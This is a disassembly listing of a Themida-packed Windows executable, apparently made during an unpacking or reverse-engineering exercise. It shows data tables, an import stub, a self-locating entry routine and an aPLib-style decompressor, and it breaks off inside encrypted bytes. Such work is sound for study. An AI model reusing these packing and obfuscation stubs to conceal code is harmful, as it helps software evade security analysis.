DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; ___:loc_41D268w ... dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar dd 0A28h, 501h, 5, 1 dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r ; ___:00423014w dword_4DB298 dd 2430B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... align 10h dword_4DB2A0 dd 2430B58h ; DATA XREF: ___:00422F0Ew ; sub_425AC7+9r ... dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr ; ___:loc_422F1Er ... align 10h dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ... dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r ; ___:00422D34w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao ; ___:off_4DB2B0o align 10h dd 3Ah dup(0) dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r ; ___:004231F3w ... dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DB598 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o ; ___:0043C9F0o dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DC5C0 dd 2430650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r ; sub_41E4D4+32w dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w ; sub_41E1CB:loc_41E21Br ... dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr ; sub_41DEA2+260r ... dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r ; sub_41DEA2+2CBr ... dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r ; sub_41DEA2+2D0r ... dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DC904 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r ; ___:00422FACr dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DC918 dd 2430758h ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DC91C dd 2430758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 1B8h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DE000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DE000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DF000h a7icwCw db '7w\w',0 align 4 dd 77345219h, 4 dup(0) dd 0DF050h, 0DF000h, 3 dup(0) dd 0DF079h, 0DF00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E0000) ; Virtual size : 000DB000 ( 897024.) ; Section size in file : 000DB000 ( 897024.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4E0000h dd 51D2C7BAh, 423BAh, 540A0h, 95172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053B3A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053E726 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053E99C SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0053E9E3 SIZE 0000000A BYTES mov eax, 0 pusha or eax, eax jz short loc_4E0086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E0041 popa jmp short loc_4E0076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4E0041: ; CODE XREF: start+18j call $+5 pop eax loc_4E0047: ; DATA XREF: ___:00437A34o and eax, 0FFFFF000h xor edi, edi loc_4E004E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E006D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E0074 loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- db 3 dd 26AB9C7h, 0CF03000Eh db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_53B3A5 mov ecx, offset word_4E026A push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_53B3A5 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 157337Ch, 6552C0EFh, 73617473h, 70413872h, 783E2EBDh dd 76FD8F70h, 0F5870170h, 215C71C4h, 489291FFh, 21A8EE0Ch dd 0B48B03D2h, 10AFDFEh, 0B076B9BFh, 3430F0ABh, 6A314E2Dh dd 0C684AEACh, 37FB3A03h, 0DF080336h, 70989177h, 2279FD87h dd 0F715C21Dh, 7523019Ch, 702411FFh, 11457E8Fh, 455E3FC2h dd 0E435C235h, 1DC23D33h, 6854E0FDh, 691C6D65h, 0F7216164h dd 0C58B0E5Dh, 0E860D443h, 815D4384h, 733E8EDh, 95890C06h dd 0B50D200Dh, 101F3122h, 42FF985h, 10D9BD83h, 0C74031Ch dd 0E291E88Bh, 0F14F2FB8h, 447078C2h, 3E88E324h, 6A0330D9h dd 7A3E845h, 749A6829h db 83h, 0DFh, 4Ah ; --------------------------------------------------------------------------- loc_4E032B: ; CODE XREF: Themida_:004E03A9j fisttp word ptr [edx] add esp, ds:0D20A894Bh aad 21h jmp near ptr 0EC98054Eh ; --------------------------------------------------------------------------- dw 1FAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h pop eax out dx, al pop edx or [ecx+13479EAh], al mov ebx, edx mov dword ptr [ebp-28h], 0E630823h inc eax mov [edi], ebx or [ecx+1D80987Dh], al jz short loc_4E036E iret ; --------------------------------------------------------------------------- dd 83E40820h, 0FF1093E3h, 0EB43120Ch db 0E1h, 36h ; --------------------------------------------------------------------------- loc_4E036E: ; CODE XREF: Themida_:004E035Dj fsubr qword ptr [esi+61h] db 26h or cl, 0C2h add al, 80h inc esi add esp, 2D1FF7Ch dec ecx enter 0FFFF80C2h, 8Dh inc ebp or byte ptr [ebx-38D7F7A3h], 85h sbb [ecx+0A408D50h], ecx rol ebx, 1 mov ds:0B894118h, dl adc al, 81h mov ebp, 755D4006h push edx jecxz short loc_4E03CA test [ebp-7F9BE246h], ecx jnz short loc_4E032B mov cl, [esi] mov ebx, 15B92F4h mov eax, 785437ABh rcl eax, cl stc ja near ptr 0F7C34EC8h pusha scasd retn ; --------------------------------------------------------------------------- db 47h dd 8C4AA446h db 46h, 54h ; --------------------------------------------------------------------------- loc_4E03CA: ; CODE XREF: Themida_:004E03A1j stc inc edx rcl dword ptr [edi+61h], 1 mov al, [eax-30h] ; CODE XREF: Themida_:004E03D2j lock jmp short near ptr loc_4E03CF+1 ; --------------------------------------------------------------------------- db 14h, 0EEh, 45h dd 0EB144DFCh, 1879AD04h, 403E8046h, 84A6BAF7h, 7DC334DCh dd 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh, 0F065C14Ah dd 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh, 98FB8039h dd 390A0A72h, 7D057A77h, 0CF22E4EBh, 0DEC6114h, 8FE660Ah dd 9DBE1EDEh, 10580AC3h, 6172411Ah, 77460A0Bh, 4424BD06h dd 0F05D3001h, 7D83F4ECh, 723602E6h, 6EC00CB0h, 0AACCA576h dd 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh, 0AA83B0BDh dd 0BAA1387Ch, 0C1B9C108h, 0BDFC5370h, 0FE0036CAh, 0E49470Fh dd 22B9FA75h, 0BBE76A2Eh, 0F1A31F01h, 0C78EB82h, 86018EECh dd 708380Dh, 36C16551h, 28F71DBFh, 5007268Ah, 305905E9h dd 660D07EAh, 85E6AE21h, 8C673B00h, 0E9C32CD9h, 0DA21C012h dd 4EBBB64Bh, 5F00A3F6h, 0AAEFD49h, 192F7479h, 645CF49Ah dd 6BC69DF1h, 4E95146h, 59211C3Fh, 458A81C4h, 98820525h dd 41211709h, 0F5C40351h, 0E08CE127h, 0C034CB91h, 39008267h dd 0F765B4Eh, 1F51B810h, 1DD1043Dh, 3E46983Bh, 2E750975h dd 480E1160h, 2865E4ECh, 2750690h, 8E05C584h, 92A42096h dd 54047853h, 668C29C2h, 0EE7B471h, 0FF98E0DDh, 6077812Bh dd 341D2204h, 0F90C84C1h, 0BC207533h, 0ABB833Fh, 3033EFB3h dd 89ECEE02h, 0CC9F7F8Ch, 0CF4090FFh, 60E9EA45h, 0C46250h dd 254D8C52h, 0B1AA8211h, 5AABCD84h, 56130884h, 5E0AF8A6h dd 812BEE82h, 37FC19A8h, 0B9F58A81h, 230A1344h, 80524397h dd 0C881E00Fh, 38DECB4h, 0A771BCDAh, 0E2D943F9h, 52FF4205h dd 0E4C45A30h, 224D468Ah, 52420F15h, 0C09C9EC4h, 54600F91h dd 101BCA0Bh, 23255B86h, 600E5854h, 7D8A44C4h, 48201962h dd 9DCC458h, 0C55F070Fh, 0F6616A20h, 861AC862h, 0DFA1A96h dd 5A0B60C8h, 18C01988h, 0A6826A2h, 0EADF8C2Ah, 55C8BFC3h dd 3E34DC29h, 7DE00D54h, 2AA208Ah, 0C3567AC8h, 8A91C45Eh dd 1974E6Dh, 2CC45646h, 13BF10EAh, 8A8B96h, 4ED34502h dd 2D06E4EBh, 470CE94Fh, 13EE206Ch, 35C34DB0h, 0E88CC7C0h dd 454BAFh, 2BEB3B5Fh, 0A36164B5h, 0F1E0050Ah, 0D4079B77h dd 7B80825Ch, 0A065700Bh, 0C072B1D3h, 0F6BB6746h, 3228BAA8h dd 0D4E0091Dh, 3EC434E0h, 858059D8h, 0E84461EFh, 7EFD07F1h dd 0B1F93688h, 0C5B11EE9h, 72388C69h, 185214BCh, 39666C22h dd 510C4D6Dh, 260490F6h, 5987CE6h, 0BA9425ECh, 0F4A90C65h dd 13C62196h, 0E70BE9h, 1789811Eh, 88E1C65Bh, 10698F09h dd 0EA6B908Ah, 0BE8A40Dh, 37EE7C79h, 71941100h, 60F44EE9h dd 22444A48h, 1940F731h, 881E83h, 0ABFE1766h, 9BC964DDh dd 8EA6018h, 3974523h, 8A98E84Dh, 32EB5F3Dh, 270B1B00h dd 0EE4C772Fh, 0FD743B07h, 139EED82h, 318E8B10h, 1D1090C9h dd 81E4D782h, 0EA11580Bh, 5B97204Eh, 2C6988h, 97C00FF3h dd 0CB03D9A6h, 9CABDF00h, 9F93FC9Dh, 607D0FFDh, 0A58015EEh dd 6DB547D9h, 80E2DB3Dh, 0DDBFA11Bh, 692729h, 2E9E3314h dd 9DAD93E6h, 0C7B96D0Dh, 32E048B8h, 72530031h, 0E8A633EFh dd 8D00E1CAh, 4084C4BEh, 19B8BF2h, 7BFBF85Eh, 8C183FD3h dd 41AFC838h, 0BE30003Bh, 7E584F85h, 8AE84AD0h, 35802900h dd 5CE0F2B6h, 9D4C00AFh, 5E4B8E37h, 5700A795h, 0BE49F61Bh dd 7142B6Ch, 9FBB59F0h, 6581CE75h, 0F0D21A25h, 480369C0h dd 83EB391Eh, 0FCC0008Ch, 8036B989h, 9C002AE3h, 0A81E2C78h dd 0E92F82D4h, 0BE079980h, 0B906613Bh, 19004772h, 69228F8Dh dd 378967Bh, 9D92F930h, 58A64928h, 0B6060100h, 8B98BEEFh dd 0ACE83087h, 0AA0E1D08h, 3470FE00h, 48F17265h, 0F25603B4h dd 0C0BE4ADCh, 7E689298h, 86806F00h, 2555971Dh, 21EE0072h dd 8A4B47A4h, 0E00CBAFh, 980C2732h, 0E7D3F89h, 1EDB8B97h dd 0D137E82h, 0F285DF41h, 828A1141h, 9C8E8B48h, 12448198h dd 408806C3h, 0A8321E1Fh, 0E37B208Dh, 0A702BB44h, 9ABE0AFBh dd 0B3834034h, 2F030A3h, 90894331h, 0CF039500h, 0C5BBF7AFh dd 6F3000EDh, 0F038DE57h, 85E0A9D0h, 9A221130h, 50048491h dd 898F3819h, 60A040FEh, 6D0ACD77h, 80B7395Fh, 9664EB80h dd 7814Fh, 79E6FCC6h, 67AFB362h, 76401B16h, 9BB9B300h dd 0EF61386h, 42252BE9h, 911E9920h, 32004388h, 0E706EBB3h dd 60078421h, 0C1AA8120h, 0E53036E6h, 0B5608994h, 0B3140042h dd 4FF53849h, 8503F37Ah, 